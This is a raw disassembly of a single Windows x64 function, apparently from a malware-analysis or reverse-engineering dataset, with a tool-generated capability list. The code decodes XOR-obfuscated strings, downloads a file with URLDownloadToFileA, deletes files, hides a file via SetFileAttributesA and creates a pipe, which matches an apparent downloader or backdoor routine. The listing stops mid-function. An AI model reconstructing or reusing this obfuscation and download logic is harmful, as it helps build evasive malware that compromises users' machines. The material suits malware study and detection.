Function at 0x140062000
Capabilities:
Check if file exists
Create pipe
Create process on windows
Delete file
Download url
Get file attributes
Receive data
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
xor r8d, r8d
mov dword [rbp + 0x320], r8d
movdqa xmm1, xmmword [0x1401129d0]
movdqu xmmword [rbp - 0x78], xmm1
movdqa xmm2, xmmword [0x140112410]
movdqu xmmword [rbp - 0x68], xmm2
mov dl, 0x1c
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x77], al
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor byte [rbp - 0x70], cl
xor byte [rbp - 0x6f], cl
xor byte [rbp - 0x6e], cl
xor byte [rbp - 0x6d], cl
xor byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], cl
xor byte [rbp - 0x6a], cl
xor byte [rbp - 0x69], cl
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], cl
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor dl, cl
mov byte [rbp - 0x58], dl
mov byte [rbp - 0x57], r8b
mov ecx, r8d
lea r13, [0x14075f770]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x77]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400620e0
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r8d
mov dword [0x14075fe8c], r8d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r8d
lea rax, [0x14010706a]
mov qword [0x14075f768], rax
call fcn.140051580
mov qword [rbp + 0x320], 1
lea rcx, [rbp + 0x320]
call fcn.1400718b0
movdqa xmm1, xmmword [0x140112160]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x1401121c0]
movdqu xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140112bc0]
movdqu xmmword [rsp + 0x70], xmm3
mov dl, reloc.WS2_32.dll_send
mov r8b, reloc.WS2_32.dll_ntohl
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
xor dl, cl
mov byte [rbp - 0x80], dl
xor r8b, cl
mov byte [rbp - 0x7f], r8b
xor r9b, cl
mov byte [rbp - 0x7e], r9b
mov byte [rbp - 0x7d], 0
lea rax, [rsp + 0x51]
mov qword [rbp - 0x20], rax
movdqa xmm1, xmmword [0x140112a80]
movdqu xmmword [rbp - 0x78], xmm1
movdqa xmm2, xmmword [0x1401129e0]
movdqu xmmword [rbp - 0x68], xmm2
mov cl, 0x53
mov r8b, 0x42
mov r9b, 0x5a
mov r10b, 0x5b
mov r11b, 0x51
mov bl, 0x41
mov dil, Ordinal_30
mov sil, 0x57
mov r14b, 0x4a
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp - 0x77], al
xor byte [rbp - 0x76], dl
xor byte [rbp - 0x75], dl
xor byte [rbp - 0x74], dl
xor byte [rbp - 0x73], dl
xor byte [rbp - 0x72], dl
xor byte [rbp - 0x71], dl
xor byte [rbp - 0x70], dl
xor byte [rbp - 0x6f], dl
xor byte [rbp - 0x6e], dl
xor byte [rbp - 0x6d], dl
xor byte [rbp - 0x6c], dl
xor byte [rbp - 0x6b], dl
xor byte [rbp - 0x6a], dl
xor byte [rbp - 0x69], dl
movd eax, xmm2
xor al, dl
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], dl
xor byte [rbp - 0x66], dl
xor byte [rbp - 0x65], dl
xor byte [rbp - 0x64], dl
xor byte [rbp - 0x63], dl
xor byte [rbp - 0x62], dl
xor byte [rbp - 0x61], dl
xor byte [rbp - 0x60], dl
xor byte [rbp - 0x5f], dl
xor byte [rbp - 0x5e], dl
xor byte [rbp - 0x5d], dl
xor byte [rbp - 0x5c], dl
xor byte [rbp - 0x5b], dl
xor byte [rbp - 0x5a], dl
xor byte [rbp - 0x59], dl
xor cl, dl
mov byte [rbp - 0x58], cl
xor r8b, dl
mov byte [rbp - 0x57], r8b
xor r9b, dl
mov byte [rbp - 0x56], r9b
xor r10b, dl
mov byte [rbp - 0x55], r10b
xor r11b, dl
mov byte [rbp - 0x54], r11b
xor bl, dl
mov byte [rbp - 0x53], bl
xor dil, dl
mov byte [rbp - 0x52], dil
xor sil, dl
mov byte [rbp - 0x51], sil
xor r14b, dl
mov byte [rbp - 0x50], r14b
xor r15b, dl
mov byte [rbp - 0x4f], r15b
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x77]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x50]
call fcn.140069410
nop
mov r15, qword [rbp + 0x50]
mov rbx, r15
mov rsi, qword [rbp + 0x58]
cmp r15, rsi
je 0x1400623c7
nop
mov rdi, qword [rbx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400623be
test al, 0x10
jne 0x1400623be
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
add rbx, 8
cmp rbx, rsi
jne 0x1400623a0
movdqa xmm1, xmmword [0x140112260]
movdqu xmmword [rbp], xmm1
movdqa xmm2, xmmword [0x1401122c0]
movdqu xmmword [rbp + 0x10], xmm2
mov dl, 0x3f
mov r8b, reloc.WS2_32.dll_setsockopt
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 1], al
xor byte [rbp + 2], cl
xor byte [rbp + 3], cl
xor byte [rbp + 4], cl
xor byte [rbp + 5], cl
xor byte [rbp + 6], cl
xor byte [rbp + 7], cl
xor byte [rbp + 8], cl
xor byte [rbp + 9], cl
xor byte [rbp + 0xa], cl
xor byte [rbp + 0xb], cl
xor byte [rbp + 0xc], cl
xor byte [rbp + 0xd], cl
xor byte [rbp + 0xe], cl
xor byte [rbp + 0xf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x10], al
xor byte [rbp + 0x11], cl
xor byte [rbp + 0x12], cl
xor byte [rbp + 0x13], cl
xor byte [rbp + 0x14], cl
xor byte [rbp + 0x15], cl
xor byte [rbp + 0x16], cl
xor byte [rbp + 0x17], cl
xor byte [rbp + 0x18], cl
xor byte [rbp + 0x19], cl
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor dl, cl
mov byte [rbp + 0x20], dl
xor r8b, cl
mov byte [rbp + 0x21], r8b
mov byte [rbp + 0x22], 0
lea rdx, [rbp + 1]
lea rcx, [rbp + 0x28]
call fcn.140050ae0
nop
mov byte [rbp + 0x320], 0x61
mov al, 0x53
mov cl, 0x51
movzx edx, cl
xor r8d, r8d
xor al, 0x61
mov byte [rbp + 0x321], al
xor cl, 0x61
mov byte [rbp + 0x322], cl
xor dl, 0x61
mov byte [rbp + 0x323], dl
mov byte [rbp + 0x324], r8b
mov byte [rbp - reloc.WLDAP32.dll_Ordinal_32], 0x20
mov al, 0x53
mov cl, 0x54
mov dl, 0x41
movzx r8d, cl
mov r9b, 0x55
movzx r10d, al
mov r11b, 0x7f
mov bl, 0x43
mov dil, reloc.WLDAP32.dll_Ordinal_79
mov sil, 0x44
mov r14b, 0x45
xor r12d, r12d
xor al, 0x20
mov byte [rbp - 0x1f], al
xor cl, 0x20
mov byte [rbp - 0x1e], cl
xor dl, 0x20
mov byte [rbp - 0x1d], dl
xor r8b, 0x20
mov byte [rbp - 0x1c], r8b
xor r9b, 0x20
mov byte [rbp - 0x1b], r9b
xor r10b, 0x20
mov byte [rbp - 0x1a], r10b
xor r11b, 0x20
mov byte [rbp - 0x19], r11b
xor bl, 0x20
mov byte [rbp - 0x18], bl
xor dil, 0x20
mov byte [rbp - 0x17], dil
xor sil, 0x20
mov byte [rbp - 0x16], sil
xor r14b, 0x20
mov byte [rbp - 0x15], r14b
mov byte [rbp - 0x14], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rbp - 0x1f]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140062542
lea rdx, [rbp - 0x1f]
lea rcx, [rbp - 0x78]
call fcn.140073520
nop
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x28]
call fcn.140072460
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp + 0x321]
mov rax, r12
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140062580
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140062597
mov rcx, qword [rcx]
cmp r8, rax
jne 0x1400625b0
lea rdx, [rbp + 0x321]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400625b0
xor bl, bl
jmp 0x1400625b2
mov bl, 1
lea rcx, [rbp - 0x78]
call fcn.140049850
test bl, bl
je 0x140062731
movdqa xmm1, xmmword [0x140112340]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112370]
movdqu xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x1401120c0]
movdqu xmmword [rsp + 0x70], xmm3
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
mov byte [rbp - 0x80], 0
xor r12d, r12d
mov ecx, r12d
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x51]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400626e0
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r12d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r12d
lea rax, [0x14010e5a0]
mov qword [0x14075f768], rax
jmp 0x14006337c
movdqa xmm1, xmmword [0x1401130c0]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140113110]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, WSAGetLastError
mov r8b, 0x7f
mov r9b, 0x67
mov r10b, 0x66
mov r11b, 0x6c
mov bl, 0x7c
mov dil, reloc.WLDAP32.dll_Ordinal_33
mov sil, 0x6a
mov r14b, 0x77
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
mov byte [rbp + 0x320], 0x55
mov al, reloc.WLDAP32.dll_Ordinal_33
mov cl, 0x30
mov dl, reloc.WLDAP32.dll_Ordinal_45
movzx r8d, al
xor r9d, r9d
xor al, 0x55
mov byte [rbp + 0x321], al
xor cl, 0x55
mov byte [rbp + 0x322], cl
xor dl, 0x55
mov byte [rbp + 0x323], dl
xor r8b, 0x55
mov byte [rbp + 0x324], r8b
mov byte [rbp + 0x325], r9b
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp + 0x321]
inc r12
cmp byte [rax + r12], r9b
jne 0x1400628a6
mov r8, r12
lea rdx, [rbp + 0x321]
lea rcx, [rbp - 0x20]
call fcn.140073520
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x28]
call fcn.140072460
mov rdx, qword [rax]
add rdx, 0x40
cmp qword [rdx + 0x18], 0xf
jbe 0x1400628e5
mov rdx, qword [rdx]
xor r12d, r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x51]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14006293d
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062938
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062938
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ed628
test ebx, ebx
je 0x140062a13
mov edx, 1
lea rcx, [rbp + 0xe0]
call fcn.14006ac50
nop
mov byte [rbp - 0x20], reloc.WS2_32.dll_send
mov al, 0x76
mov cl, 0x61
movzx edx, cl
mov r8b, 0x7c
movzx r9d, cl
mov r10b, 0x33
mov r11b, reloc.WLDAP32.dll_Ordinal_35
mov bl, 0x6b
xor edi, edi
xor al, 0x13
mov byte [rbp - 0x1f], al
xor cl, 0x13
mov byte [rbp - 0x1e], cl
xor dl, 0x13
mov byte [rbp - 0x1d], dl
xor r8b, 0x13
mov byte [rbp - 0x1c], r8b
xor r9b, 0x13
mov byte [rbp - 0x1b], r9b
xor r10b, 0x13
mov byte [rbp - 0x1a], r10b
xor r11b, 0x13
mov byte [rbp - 0x19], r11b
xor bl, 0x13
mov byte [rbp - 0x18], bl
mov byte [rbp - 0x17], dil
lea rdx, [rbp - 0x1f]
lea rcx, [rbp + 0xf0]
call fcn.140071310
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xe0]
call fcn.14006abd0
mov rcx, rax
call fcn.140049830
mov rcx, rax
lea r8, [0x14010e5a0]
lea rdx, [0x14010e59c]
call fcn.14004e590
lea rcx, [rbp - 0x40]
call fcn.140049840
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
movdqa xmm1, xmmword [0x140112bf0]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112c00]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, reloc.WLDAP32.dll_Ordinal_79
mov r8b, 0x5e
mov r9b, 0x46
mov r10b, 0x47
mov r11b, Ordinal_79
mov bl, 0x5d
xor dil, dil
mov sil, 0x4b
mov r14b, 0x56
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
mov edx, 2
lea rcx, [rsp + 0x51]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x140062b4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rax, [0x140111b50]
mov qword [rbp + 0x1e0], rax
lea rax, [0x140111300]
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x320], 1
xor r8d, r8d
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1dc], edx
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x260], r12
mov dword [rbp + 0x268], r12d
movdqa xmm1, xmmword [str._vH1W_beodxWXrx]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140113030]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x6a
mov dl, 0x7b
mov r9b, 0x63
mov r10b, 0x62
mov r11b, 0x68
mov bl, 0x78
mov dil, 0x25
mov sil, WSAGetLastError
mov r14b, reloc.WS2_32.dll_WSAStartup
movzx r15d, sil
mov r12b, Ordinal_45
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], r8b
xor byte [rsp + 0x53], r8b
xor byte [rsp + 0x54], r8b
xor byte [rsp + 0x55], r8b
xor byte [rsp + 0x56], r8b
xor byte [rsp + 0x57], r8b
xor byte [rsp + 0x58], r8b
xor byte [rsp + 0x59], r8b
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
xor byte [rsp + 0x68], r8b
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor cl, r8b
mov byte [rsp + 0x70], cl
xor dl, r8b
mov byte [rsp + 0x71], dl
xor r9b, r8b
mov byte [rsp + 0x72], r9b
xor r10b, r8b
mov byte [rsp + 0x73], r10b
xor r11b, r8b
mov byte [rsp + 0x74], r11b
xor bl, r8b
mov byte [rsp + 0x75], bl
xor dil, r8b
mov byte [rsp + 0x76], dil
xor sil, r8b
mov byte [rsp + 0x77], sil
xor r14b, r8b
mov byte [rsp + 0x78], r14b
xor r15b, r8b
mov byte [rsp + 0x79], r15b
xor r12b, r8b
mov byte [rsp + 0x7a], r12b
mov byte [rsp + 0x7b], 0
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x1f0]
call fcn.140071310
mov rcx, rax
lea rdx, [0x14075f900]
call fcn.140071310
mov byte [rbp + 0x320], reloc.WS2_32.dll_select
mov cl, reloc.WLDAP32.dll_Ordinal_50
xor edx, edx
xor cl, 0x12
mov byte [rbp + 0x321], cl
mov byte [rbp + 0x322], dl
lea rdx, [rbp + 0x321]
mov rcx, rax
call fcn.140071310
mov rcx, rax
lea rdx, [0x14075f880]
call fcn.140071310
mov byte [rbp - 0x20], 0x44
mov cl, 0x64
mov dl, reloc.WLDAP32.dll_Ordinal_35
mov r8b, reloc.WLDAP32.dll_Ordinal_33
mov r9b, 0x2a
movzx r10d, r8b
mov r11b, 0x36
mov bl, reloc.WLDAP32.dll_Ordinal_45
mov dil, Ordinal_41
movzx esi, cl
xor r14d, r14d
xor cl, 0x44
mov byte [rbp - 0x1f], cl
xor dl, 0x44
mov byte [rbp - 0x1e], dl
xor r8b, 0x44
mov byte [rbp - 0x1d], r8b
xor r9b, 0x44
mov byte [rbp - 0x1c], r9b
xor r10b, 0x44
mov byte [rbp - 0x1b], r10b
xor r11b, 0x44
mov byte [rbp - 0x1a], r11b
xor bl, 0x44
mov byte [rbp - 0x19], bl
xor dil, 0x44
mov byte [rbp - 0x18], dil
xor sil, 0x44
mov byte [rbp - 0x17], sil
mov byte [rbp - 0x16], r14b
lea rdx, [rbp - 0x1f]
mov rcx, rax
call fcn.140071310
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0x90], xmm1
movups xmmword [rbp + 0xa0], xmm1
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm1
mov qword [rbp + 0xd0], rax
mov dword [rbp - 0x78], Ordinal_26
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov dword [rbp - 0x68], 1
xor r9d, r9d
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea r14, [0x14010e5a0]
test eax, eax
jne 0x140062fbe
movdqa xmm1, xmmword [0x140112b60]
movdqu xmmword [rbp - 0x40], xmm1
mov cl, 0x1c
mov dl, 0x5f
mov r8b, Ordinal_79
mov r10b, 0x59
mov r11b, 0x5d
mov bl, 0x48
movzx edi, r10b
movzx esi, cl
mov r14b, 0x4c
mov r15b, 0x55
movzx r12d, r14b
movzx r13d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp - 0x3f], al
xor byte [rbp - 0x3e], r9b
xor byte [rbp - 0x3d], r9b
xor byte [rbp - 0x3c], r9b
xor byte [rbp - 0x3b], r9b
xor byte [rbp - 0x3a], r9b
xor byte [rbp - 0x39], r9b
xor byte [rbp - 0x38], r9b
xor byte [rbp - 0x37], r9b
xor byte [rbp - 0x36], r9b
xor byte [rbp - 0x35], r9b
xor byte [rbp - 0x34], r9b
xor byte [rbp - 0x33], r9b
xor byte [rbp - 0x32], r9b
xor byte [rbp - 0x31], r9b
xor cl, r9b
mov byte [rbp - 0x30], cl
xor dl, r9b
mov byte [rbp - 0x2f], dl
xor r8b, r9b
mov byte [rbp - 0x2e], r8b
xor r10b, r9b
mov byte [rbp - 0x2d], r10b
xor r11b, r9b
mov byte [rbp - 0x2c], r11b
xor bl, r9b
mov byte [rbp - 0x2b], bl
xor dil, r9b
